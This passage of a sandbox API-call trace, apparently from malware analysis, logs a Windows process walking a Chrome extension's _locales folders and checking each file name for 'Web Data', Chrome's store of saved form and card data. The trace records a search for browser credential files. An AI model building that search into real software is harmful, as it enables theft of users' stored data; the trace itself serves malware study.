Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.213] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.213] lstrlenA (lpString="fr") returned 2 [0056.213] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.213] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.213] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr" [0056.213] LocalFree (hMem=0x2daca0) returned 0x0 [0056.213] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr") returned 132 [0056.213] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr") returned 132 [0056.213] lstrlenA (lpString="\\*.*") returned 4 [0056.213] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.213] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr" [0056.213] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*" [0056.213] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.213] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.213] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.213] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.213] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.213] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.213] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.213] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.213] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.213] LocalFree (hMem=0x2daec0) returned 0x0 [0056.213] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.213] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.213] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0056.213] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0056.213] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.214] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.214] lstrlenA (lpString="\\") returned 1 [0056.214] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.214] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.214] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.214] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.214] lstrlenA (lpString="he") returned 2 [0056.214] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.214] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.214] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he" [0056.214] LocalFree (hMem=0x2daca0) returned 0x0 [0056.214] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he") returned 132 [0056.214] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he") returned 132 [0056.214] lstrlenA (lpString="\\*.*") returned 4 [0056.214] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.214] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he" [0056.214] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*" [0056.214] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.214] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.214] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.214] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.214] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.214] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.214] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.214] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.214] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.214] LocalFree (hMem=0x2daec0) returned 0x0 [0056.214] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.214] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.214] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.214] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.214] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.214] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.214] lstrlenA (lpString="\\") returned 1 [0056.215] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.215] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.215] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.215] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.215] lstrlenA (lpString="hi") returned 2 [0056.215] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.215] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.215] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi" [0056.215] LocalFree (hMem=0x2daca0) returned 0x0 [0056.215] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi") returned 132 [0056.215] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi") returned 132 [0056.215] lstrlenA (lpString="\\*.*") returned 4 [0056.215] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.215] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi" [0056.215] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*" [0056.215] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.215] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.215] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.215] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.215] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.215] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.215] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.215] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.215] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.215] LocalFree (hMem=0x2daec0) returned 0x0 [0056.215] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.215] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.215] lstrcmpiA (lpString1=".", lpString2="hr") returned -1 [0056.215] lstrcmpiA (lpString1="..", lpString2="hr") returned -1 [0056.215] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.215] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.215] lstrlenA (lpString="\\") returned 1 [0056.215] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.215] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.215] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.215] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.215] lstrlenA (lpString="hr") returned 2 [0056.215] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.215] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.215] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr" [0056.215] LocalFree (hMem=0x2daca0) returned 0x0 [0056.216] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr") returned 132 [0056.216] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr") returned 132 [0056.216] lstrlenA (lpString="\\*.*") returned 4 [0056.216] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.216] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr" [0056.216] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*" [0056.216] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.216] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.216] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.216] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.216] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.216] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.216] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.216] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.216] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.216] LocalFree (hMem=0x2daec0) returned 0x0 [0056.216] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.216] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.216] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.216] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.216] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.216] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.216] lstrlenA (lpString="\\") returned 1 [0056.216] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.216] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.216] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.216] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.216] lstrlenA (lpString="hu") returned 2 [0056.216] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.216] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.216] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu") returned="C:\\Users\\aDU0VK 